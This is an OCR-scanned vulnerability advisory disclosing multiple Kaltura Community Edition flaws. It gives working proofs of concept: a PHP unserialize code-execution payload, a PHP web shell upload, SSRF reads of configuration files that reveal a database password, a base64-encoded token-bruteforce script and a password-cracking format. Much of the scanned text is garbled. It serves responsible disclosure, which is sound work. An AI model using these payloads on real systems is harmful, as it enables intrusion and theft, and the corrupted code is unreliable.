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Vulnerability Advisory

Name Kaltura Community Edition Multiple Vulnerabilities

Vendor Website http://corp.kaltura.com

Affected Software Kaltura Community Edition <=11.1.0-2

Date of Public
Advisory

11/03/2016

Researchers Daniel Jensen

Description

The Kaltura platform contains a number of vulnerabilities, allowing unauthenticated users to execute code, read
files, and access services listening on the localhost interface. Vulnerabilities present in the application also allow
authenticated users to execute code by uploading a file, and perform stored cross site scripting attacks from the
Kaltura Management Console into the admin console. Weak cryptographic secret generation allows
unauthenticated users to bruteforce password reset tokens for accounts, and allows low level users to perform
privilege escalation attacks.

Exploitation

Unserialize Code Execution

Kaltura unserializes untrusted user input using PHP’s unserialize() function. By constructing a malicious object,
an attacker can execute arbitrary code. The object constructed is based on the SektionEins Zend code execution
POP chain PoC, with a minor modification to ensure Kaltura processes it and the Zend_Log function’s
__destruct() method is called. The following tables contain an example PHP script used to generate a serialized
object that may be passed to the redirectWidgetAction endpoint in order to trigger code execution, and a
screenshot showing an example of exploiting the issue:

Proof of Concept Script

<?php

$init = "system('id;uname -a")";

$cmd = $init.".die()";

$len = strlen($cmd);
$obj="a:1:{s:1:\"z\";0:8:\"Zend_Log\":1:{s:11:\"\0*\O_writers\";a:1:{i:0;0:20:\"Zend_Log_Writer_Mail\":
5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1; }s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";
0:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";0:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";0:23:\"Zen
d_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s: $len:\"
$cmd\"; }s:20:\"\0*\O_.inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\"; }s:22:\"\0*\0_subjectPre
pendText\";N;}3}};}";

$sploit = base64_encode($obj);

echo $sploit;

?>
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Proof of Concept

:~# curl -i http://| N i~dex .php/keditorservices/redirectWidgetCmd?kdata=YT
ox0ntz0jE6IN0i00860D0iWmVuZFOMb2ci0jE6e3MEMTEEGIgAQAFS3cml0ZXJzIjth0jE6e2k6MDtPO]j Iw0iJaZWSkX0x
vZ19XcmlOZXI fTWFpbCI6NTp7czoxNjoiACoAX2V2ZW50c 1RvTWFpbCI7YToxOntp0jA7aTox031z0j Iy0iIAKgBfbGF5S
b3VORXZ1bnRzVGONYWLsIjth0jA6e31z0jg6IgAqAFStYWLsIjtPOjk6I1plbmRfTWFpbCI6GMDp7 FXMEMTAGIgQAQAFISY
X1vdXQi0086MTEGI1plbmRfTGF5b3VOIjoz0ntz0jEz0iIAKgB faWSmbGVjdGOyIjtP0jIz0iJaZWSkX0ZpbHR1c19Qcm
VnUmVwbGFj ZSI6Mjp7czoxNjoiACoAX21hdGNoUGFOdGVybiI7czo301iIvKC4gKS91Ijtz0jE10iIAKgBfemVwbGFjZW1
1bnQi03MEMj c6InNSc3R1bSgnaWQ7dwWShbWUgLWENKSSkaWUoKSI7 fXMEMj AGIgAgAFSpbmZsZWNOb3JIFbmFibGVKIjti
0jE7czoxMDoiACoAX2xheW91dCI7cz020iJsYX1vdXQi031z0j Iy0iTIAKgBfc3ViamVjdFByZXB1lbmRUZXhOIjt00319f
Tt9
HTTP/1.1 200 OK
Date: Tue, 03 Nov 2015 14:33:09 GMT
Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.11

X-Kaltura-Session: 487927766

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

X-Me: kaltura:80

Content-Length: 169

Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux kaltura 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86 64 x8
6_64 x86_64 GNU/Linux

The same serialized object may also be used within the admin_console interface to obtain code execution by an
authenticated administrator, by passing the object to the Wiki Decode algorithm of the System Helper. Further
cases of unserialize being used on untrusted user data may be present within the application.
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Arbitrary File Upload

A user with access to the KMC interface and the ability to upload files may upload a PHP shell and execute
arbitrary code. The file is stored on disk in a predictable location, and the full path can be obtained with a call to
the getAllEntries endpoint. By browsing to the file’s location, the contents of the PHP file are executed. The
following screenshots show a KMC user uploading a .php shell and execution code on the Kaltura host by
navigating to the file location:

Proof of Concept — Uploading shell

POST
fapi_vSfindex.php?service=uploadtoken&actiDn=upload&ignDreNull=l&apiversinn=3.l.5&finalChu
nk=trustuploadTokenld=0 550772 1878b23b0e8badVl77dcd ldasciks=

gresume=falsespartnerld=1l00&resumsit=-1l&client Tag=kmo :
5.39.8 HTTR/Ll.1

Host: kaltura

Content-Length: 450

Origin: http://

¥-Requested-With: ShockwaveFlash/19.0.0.245

User—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4) AppleWebhKit/537.3& (EHTHML, like Gecko)
Chrome,/4£.0.2450,.8¢ Safari/537.3¢

Content-Type: multipart/form—data; boundary=----—-————-— FEM7ac0FN7cHZ ac0GI3as0Ij5GI3GIS
Aocept: wiw

Referer: heop:/ /|| N ind=x. rhr/ koc/ kuoc4

Aocept-Encoding: gzip, deflate

Locept-Language: en-U5,en;qg=0.8

———————————— EM7as0ENT7cHI ac0GI3as0TI)5GI3GIS
Content-Disposition: forw-data; nawme="Filenam="

1l.php

———————————— FN7as0EN7cHI ac0GI3as0I]5GI3GIS

Content-Disposition: form-data; name="fileData"; filenam=s="1.php"
Content—-Type: application/octet—-stream

<?php

echo Shell_?x?ﬂl$_GET[”Cmd"]I;

e

———————————— EM7acs0EN7cHZ ac0GI3a=0T)5GI3GI3
Content-Disposition: forwm-data; name="Upload"”

Submit Juery
———————————— EM7ac0FEN7cHI ae0GI3as0TIj5GI3GI3——

The entry_id assigned to the uploaded shell can then be used to obtain the path of the uploaded file.

Proof of Concept — Obtaining uploaded file location

:~# curl "http://| . index .php/keditorservices/getAllEntries?l
ist_type=l&entry id=0_ azvxilgg"

<assets>

<asset 1id="0 azvxilgg" name="1" media type="2" kshow_id="0_yzjosgbc" ur
1="/content/entry/data/0/0/0 azvxilgg 100000.php" ready="1" thumbnail path="/con
tent/entry/thumbnail/0/0/0_azvxilgg_" credit="" source link="" duration="10" 1lis
t_type="show" contributor_screen_ name="|EGczHNGINGEG /-

</assets>

"
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Proof of Concept — Executing code

~# curl "httg

-data) groups=3.

SSRF / Limited File Read

The simplePhpXMLProxy file in the Kaltura HTMLS5 library passes user data directly to a curl_exec call. An
attacker can send arbitrary data using the gopher:// handler to services listening on localhost, or hosts within a
private network that the Kaltura instance belongs to. The file:// handler can also be used to read a limited
number of files on the Kaltura host. The response is checked for the presence of multiple consecutive newlines
before being returned to the user, so only a limited set of files can be read. The local.ini configuration file can be
read, which contains the database password, and log files containing sensitive information such as KS values
and user credentials may also be read depending on their size and contents.

Proof of Concept — Reading local.ini config file

:~# curl -s “http://| EEE/Htm5/html51ib/v2.34/simplePhpXMLProxy .php?full_heade
rs=1&url=file://127.0.0.1/opt/kaltura/app/configurations/local.ini" | sed 's/\\n/\n/g' | tail
default = http:\/\/kaltura:80\/index.php\/kmc\/kmc\/setpasshashkey\/
admin_console=http:\/\/kaltura:80

[reports_db_config]

localhost

password = AngxvQoEzFsES8n
db_name = kalturadw

Password Reset Bruteforce

Kaltura uses an insecure cryptographic method to generate password reset tokens. An attacker with knowledge
of a user’s id and email address may generate a password reset token for that user, and bruteforce the token
with a reasonable number of requests. The uniqgid PHP function does not generate cryptographically secure
values, and is based on the server time. The Kaltura application leaks the exact time via a microtime value leak
elsewhere in the application, allowing significant narrowing of the bruteforce search space.

Exploiting this issue requires knowledge of both a user’s email address and internal application ID number.
However, the default ‘template@kaltura.com’ account with a default ID number of 2 can be targeted. This
account has full access to the KMC interface and can exploit the file upload and stored cross site scripting
attacks detailed in this advisory. A Python script used to exploit this weak token generation is included as an
appendix. The following screenshot shows the Kaltura application code used to insecurely generate password
reset keys:

Proof of Concept — Insecure PasshashKey Generation Code
public function newPassHashKey()

{
$loginDatald = $this->getId();
$expiryTime = time() + (kConf::get('user_login_set password_hash_key validity'));
$random = shal( uniqid() . (time() * rand(0,1)) );
$hashKey = base64 encode(implode('|', array($loginDatald, $expiryTime, $random)));
$hashKey;
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Insecure Admin Partner Secret Generation

Admin and user secrets generated by Kaltura are insufficiently random, and may be bruteforced by a user. As a
user’s KS is signed using the admin secret, a user may bruteforce the value of the secret and gain full access to
a publisher account. The feasibility of bruteforcing the secret depends on the length of the randomly generated
passphrase used as the admin secret. Admin and user secrets are generated from lower, upper and decimal
characters, and have a random length between 5 and 10 characters. Bruteforcing up to 7 character passphrases
is feasible with a standard desktop computer. The function used to generate account secrets is str_makerand in
the alpha/apps/kaltura/lib/myPartnerRegistration.class.php file.

The following screenshots shows the exploitation of this issue by a low privileged user in order to obtain the
clear text of the admin secret. The MD5 hash of this value is used as the admin secret, and can be used to
authenticate to Publisher accounts as an administrator.

Proof of Concept — Obtaining KS for low level user

A dynamic John The Ripper format for the hashing method used by Kaltura is included as an appendix.
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Stored Cross Site Scripting

User names within the admin_console are not sanitised before being rendered, leading to stored cross site
scripting. A malicious user may change their name within the KMC, and have the arbitrary Javascript rendered
within the Kaltura administrative console. This can be used by all Publisher Administrative users to attack
administrators.

Proof of Concept — Setting User Name
Account Settings Integration Settings Access Control Tra

Account Info

Please make zure that the information below iz up to date.

Partner 1D: 102

Hame of Publisher / Company * <script=alertStored XS5 =/zcript=

Hame of Account Owner * testd

Email of Account Owner _
Phone * test

Website

Describe Yourself Other

Account Reference ID
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Proof of Concept — XSS Executing

Stored XSS

Solution

The majority of these issues have been fixed in the latest release of the Kaltura server (11.7.0-2). The
SimplePhpXMLProxy file is still vulnerable to SSRF, but the file read issue has been fixed. The Wiki Decode
algorithm within the admin interface still passes user supplied data to unserialize, however as of PHP7 the
example POP chain used no longer works due to deprecation of the preg_replace “/e” flag. There may be
alternative POP chains present within the application or supporting frameworks.

Timeline

15/11/2015 - Initial email sent to security@kaltura.com

19/11/2015 - Followup email sent to info@kaltura.com

19/11/2015 - Response from Kaltura.

19/11/2015 - Email send asking for PGP key.

20/11/2015 - PGP key received, advisory document sent.

21-27/11/2015 - Discussion regarding fixes.

13/01/2016 - Email sent asking for update on remaining fixes.

16-19/01/2016 - Discussion regarding fixes.

16/02/2016 - Email sent reminding Kaltura of public disclosure date and asking for updates on remaining fixes.
19/02/2016 - Kaltura states another issue has been fixed, some still remaining.
11/03/2016 - Public disclosure.

Responsible Disclosure
Security-Assessment.com follows a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com

(SZ7a)

Copyright Security-Assessment.com 2016 Www.security-assessment.com



http://www.security-assessment.com/
mailto:security@kaltura.com
mailto:info@kaltura.com
http://www.security-assessment.com/
mailto:info@security-assessment.com

C7a)

security-assessment.com

Appendix One

The following is a Base64 encoded Python script used to exploit the weak password reset token. Testing across a
local network gives a timeframe of around five minutes to recover a password hash key.

Proof of Concept — Weak Token Generation Exploit Script

IyEvdXNyL21pbi9weXRob24KCiNTY3IpcHQgaXMgdXNIZCBObyBicnVOZWZvcmNIIHBhc3N3b3JkIH]Ic2VOIGtleXM
gaW4gS2FsdHVyYSBieSBleHBsb2l0aW5nIHdIYWsgcmFuZG9tbmVzcyBvZiB1bmIixaWQuCiNBbHNVIHVZzZXMgYS
BzZX312ZXIgbGVhayBvZiBtaWNyb3RpbWUoKSB0ObyBuYXJyb3cgZG93biBicnVOZWZvcmNIIHNwYWNILgojUumVxd
WIlyZXMga25vd2x1ZGdIIGO9mMIHR0ZSBOYXINZXQgZW1haWwgYW5kIGludGVybmFsIEIEIG51bWJlcgojQ2FulHVzZ
SBKZWZhdWx0ICI0ZW1wbGFOZUBrYWx0dXJhLmNvbSIgYWNjb3VudCAgd2|0aCBIRCBudW1iZXIgMgoKaW1wb
3JO0IHN1YnByb2NIc3MsIGhhc2hsaWIsIGIhc2U2NCwgdGItZQpmcm9tIHRvem5hZG8gaW1wb3J0IGlvbG9vcCwga
HROcGNsaWVudAoKaXRIcmFOb3IgPSAwWCKVNQUIMPSI0ZW1wbGFO0ZUBrYWx0dXJhLmNvbSIKSUROVUO9MgpIT
1NUTKFNRTOiaHROcDovLzE5Mi4xNjguNDQUMTIOIgoKZGVmIG1IYXN1cmVfcmVxdWVzdHMoKToKCXByaW50IC]
bK10gR2V0dGluzyBkaWzZmzXJIbmNIIGIIdHdIZW4gdHdvIG1pY3lvdGItZXMgdG8gdXNIIGFzZIGFUIGO9mMZnNIdCIK
CW91dCA9IHN1YnByb2NIc3MuY2hlY2tfb3VOcHVOKCdjdXIsIC1zIHt9L2luZGV4LnBocC9leHR3aWRNZXQvZG93b
mxvYWRVcmwgliBjdXJIsIC1zIHt9L2luZGV4LnBocCO9leHR3aWRNZXQvZG93bmxvYWRVecmwnLmZvecm1hdChIT1N
UTKFNRSXIT1INUTKFNRSksIHNoZWxsPVRydWUpCglyMSxyMiA91G91dC5zdHIpcCgpLnNwbGIOKCdcbicpCglOMSA
9IHIXLNNwbGIOKCInIilbMVOuc3BsaXQoJzOnKVsxXS5zcGxpdCgiLilpWzFdCglOMiA9IHIyLnNwbGIOKCInIilbMVOuc
3BsaXQo0Jz0nKVsxXS5zcGxpdCgilLilpWzFdCgold2hpbGUgbGVUuKHQXKSAhPSA20goJCXQxICs9ICIwIgoKCXdoa
WxIIGxIbihOMikgITOgNjoKCQIOMiArPSAIMCIKCglyZXR1cm4gYWIzKGludChOMSktaW50KHQyKSkKCmRIZiBtYWtl
X3VuaXFpZChlcG9jaCwgbXMpOgogICAglycnUmV0dXJucyBhIHBocCBzdHIsZSB1bmixaWQgZnlvbSBhIGdpdmV
uIlGVwb2NoIGFuzZCBtaWNyb3NIY29uZHMnJycKICAgGIHIIdHVYbiAiJTA4eCUWNXgIICUgKGludChlcG9jaCksIGIudC
htcykpCgpkZWYgbWFrzZV9pbmI0aWFsX3JIcXVIc3RzKCk6CglwecmludCAiWytdIE1ha2luZyBpbmlOaWFsIHIIcXVIc3
RzIHRVIH]Ic2VOIHBhc3N3b3IkIGFuZCBsZWFrIHNIcnZIciBOaW1ILi4ulgolY29tbWFuZCAgPSANY3VybCAtcyB7fS9
pbmRleC5waHAvZXh0d2lkZ2VOL2Rvd25sb2FkVXIsICYgY3VybCAtcyAtLWRhdGEgImVtYWIsPScuZm9ybWFOKEh
PU1ROQU1FKQoJY29tbWFuZCArPSBFTUFITA0JY29tbWFuZCArPSANImMInbm9yZU51bGw9IMSIgInt9L2FwaV92My
9pbmRIeC5waHA/c2VydmljZT11c2VyImFjdGlvbjlyZXNIdFBhc3N3b3JklicuZm9ybWFOKEhPU1ROQU1FKQolcmV
zID0gc3VicHIvY2Vzcy5jaGVjal9vdXRwdXQoY29tbWFuzZCwgc2hlbGw9OVHI1ZSkKCXIhcnIgPSByZXMuc3BsaXQo
J1xuJykKCWImIGxIbihyYXJyKSAhPSAyOgoJICAgIHByaW50IEZhbHNICgoJdCA9IHIhcnIbMFQuc3BsaXQoliciKVsx
XS5zcGxpdCgnPScpWzFdCgllcG9jaCwgbXMgPSBOLNNwbGIOKCIulikKCgl3aGlsZSBsZW40bXMpICE9IDY6CgkgIC
AgbXMgKz0gIjAiCgolcHIpbnQgllsrXSBTbGVIcGluZyBmb3IgMTAgc2Vijb25kcyBObyBlbnN1cmUgcmVzZXQgdG9r
ZW4gaXMgaW4gdGhlIGRhdGFiYXNILi4uIgoJldGltZS5zbGVIcCgxMCkKCglicnV0ZV9yZXMgPSBicnV0ZShpbnQozZX
BvY2gpLGludChtcykpCglpZiBicnV0ZV9yZXMgPTOgRmMFsc2U6CgkIcHIpbnQglIstXSBGYWIsZWQgdG8gYnl1dGVm
b31jZSB0aGUgdG9rZW4sIG1heWIJIIHRyeSBhZ2Fpbi4uLj8iCgpkZWYgYnVpbGRfcGFzc2hhc2goaWQsZXBvY2gsc2
VjcmVOKToKCWVmID0gaW50KGVwb2NoKSArIDg2NDAwCglwaCA9IHNOcihpZCkgKyAifCIlgKyBzdHIoZWYpICsgl
nwilCsgc3RyKHNIY3JIdCkKCWIwaCA9IGIhc2U2NC5iNjRIbmNvZGUocGgpCglyZXR1cm4gYnBoCgpkZWYgYnlid
GU0ZXBvY2gsIGIhc2VfbXMpOgoldXNIcl9pZCASIEIETIVNCgInbG9iYWwgaXRIcmFOb3IKCglvZmZzZXQgPSBpbnQ
obWVhc3VyzV9yZXF1ZXN0cygpICogMC43NSkKCXByaW50ICIbK10gVXNpbmcgYSByZXF1ZXNOIGO9mMZnNIdCBv
ZiAlcylgIShvZmZzZXQpCgljb3VudCA9IDAKCglodHRwY2xpZW50LkFzeW5jSFRUUENsaWVudC5jb25mawd1cmuU
oInRvem5hZG8uY3VybF9odHRwY2xpZW50LkN1cmxBc3luYOhUVFBDbGIIbnQiKQoJaHROcF9jbGIIbnQgPSBodHR
wY2xpZW50LkFzeW5jSFRUUENsaWVudChtYXhfY2xpZW50cz01MCkKCglmb3IgaSBpbiByYW5nZShiYXNIX21zK2
9IMZnNIdCxiYXNIX21zK29mZnNIdCsxMDAwWMDApOgoJCWogPSAiJTA2ZCIglShpbnQoaSkpCgkJdSA9IG1ha2Vfd
W5pcWIkKGVwb2NoLGopCgoJCWMgPSBoYXNobGliLnNoYTEodSArICIwlikuaGV4ZGInZXNOKCkKCQIKkIDOgaGFza
GxpYi5zaGExKHUgKyBzdHIoZXBvY2gpKS50ZXhkaWdlc3QoKQoJCXVybCA9ICI7fS9pbmRIeC5waHAva21jL2ttYy
9zZXRwYXNzaGFzaGtleS8iLmZvecm1hdChITINUTKkFNRSKKCQoJCWNoID0gdXIsICsgYnVpbGRfcGFzc2hhc2godX
NIcl9pZCwgZXBvY2gsIGMpCgklZGggPSB1cmwgKyBidWIsZFO9wYXNzaGFzaCh1c2VyX2IkLCBIcG9jaCwgZCkKCQk
KCQIpdGVYyYXRvCciArPSAyCgklaHROcF9jbGlIbnQuZmV0Y2goY2gsIHRvem5hZG9faGFuZGxIX31lcSwgbWV0aG9okP
SdHRVQNKQoJCWhOdHBfY2xpZW50LmZIdGNoKGRoLCBOb3JuYWRvVX2hhbmRsZV9yZXEsIG1ldGhvZD0OnROVUly
kKCgkJY291bnQgKz0xCgoJcHIpbnQglIlsrXSBTdGFydGVkIGIydXRIZm9yY2UhIgoJaW9sb29wLkIPTGOvcC5pbnNO
YW5jZSgpLnNOYXIOKCkKCmRIZiBOb3JuYWRvX2hhbmRsZV9yZXEocmVzcG9uc2UpOgolZ2xvYmFsIGI0ZXIhdG9
yCgoJaWYgcmVzcG9uc2UuY29kZSAhPSAYMDA6CgkIcHIpbnQgcmVzcGO9uc2UuY29kZQoKCWI0ZXIhdG9yIC091I
DEKCWImIGIOZXIhdG9yICUgGMTAWMCA9PSAwWOgoJCXByaW50ICIbWFOgUHIvZ31Ic3M6ICVKIIAIKGIOZXIhdG9yK
QoJaWYgaXRlcmFOb3IgPTOgMDoKCQIlwcmludCAiU3RvcHBpbmcuLi4iCgklJaW9sb29wLkIPTG9vcC5pbnNOYWS5jZS
gpLnNOb3A0oKQoJCglpZiByZXNwb25zZS5jb2RIID09IDIwMCBhbmQgIk5FV19QQVNTVO9SRFIIQVNIXOtFWVIITI
ZBTEIEIiBub3QgaW4gcmVzcG9uc2UuYm9keToKCQloa3IgPSBbcyBmb3IgcyBpbiByZXNwb25zZS5ib2R5LnNwbGlI
OKCdcbicpIGImICIoYXNoS2V5IiBpbiBzXQoJCXIrID0gaGtyWzBdLnNwbGIOKCI6IilbMV0Ouc3BsaXQolyInKVsxXQo
KCQIlwecmludCAIRm91bmQhIgoJCXByaW50ICIZb3VyIHIIc2V0IGtleSBpczogIXMilCUocmspCQoJCWIvbGOvceC51T
0xvb3AuaW5zdGFuY2UoKS5zdG9wKCkKCQKICQppZiBfX25hbWVfXyA9PSAiIX19tYWIuX18i0goJbWFrZV9pbmliOa
WFsX3JIcXVIc3RzKCKkK
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Appendix Two

The following is a John The Ripper dynamic format used to exploit the weak admin secret generation. This can
be used by taking the KS id obtained from a login through the API, base64 decoding it, and replacing the pipe
with a dollar sign.

Proof of Concept — John Dynamic Format

[List.Generic:dynamic_1705]

Expression=shal(md5(Sp).Ssalt)

Flag=MGF_KEYS_INPUT

Flag=MGF_SALTED

Flag=MGF_INPUT_20_BYTE

SaltLen=-44

Func=DynamicFunc__crypt_md5
Func=DynamicFunc__SSEtoX86_switch_outputl
Func=DynamicFunc__clean_input2
Func=DynamicFunc__append_from_last_output_to_input2_as_basel6
Func=DynamicFunc__append_salt2

Func=DynamicFunc__SHA1 crypt_input2_to_outputl_FINAL
Test=Sdynamic_17055c994cc8739ac31191860efchf926a1967c3ae9c1Sa:password
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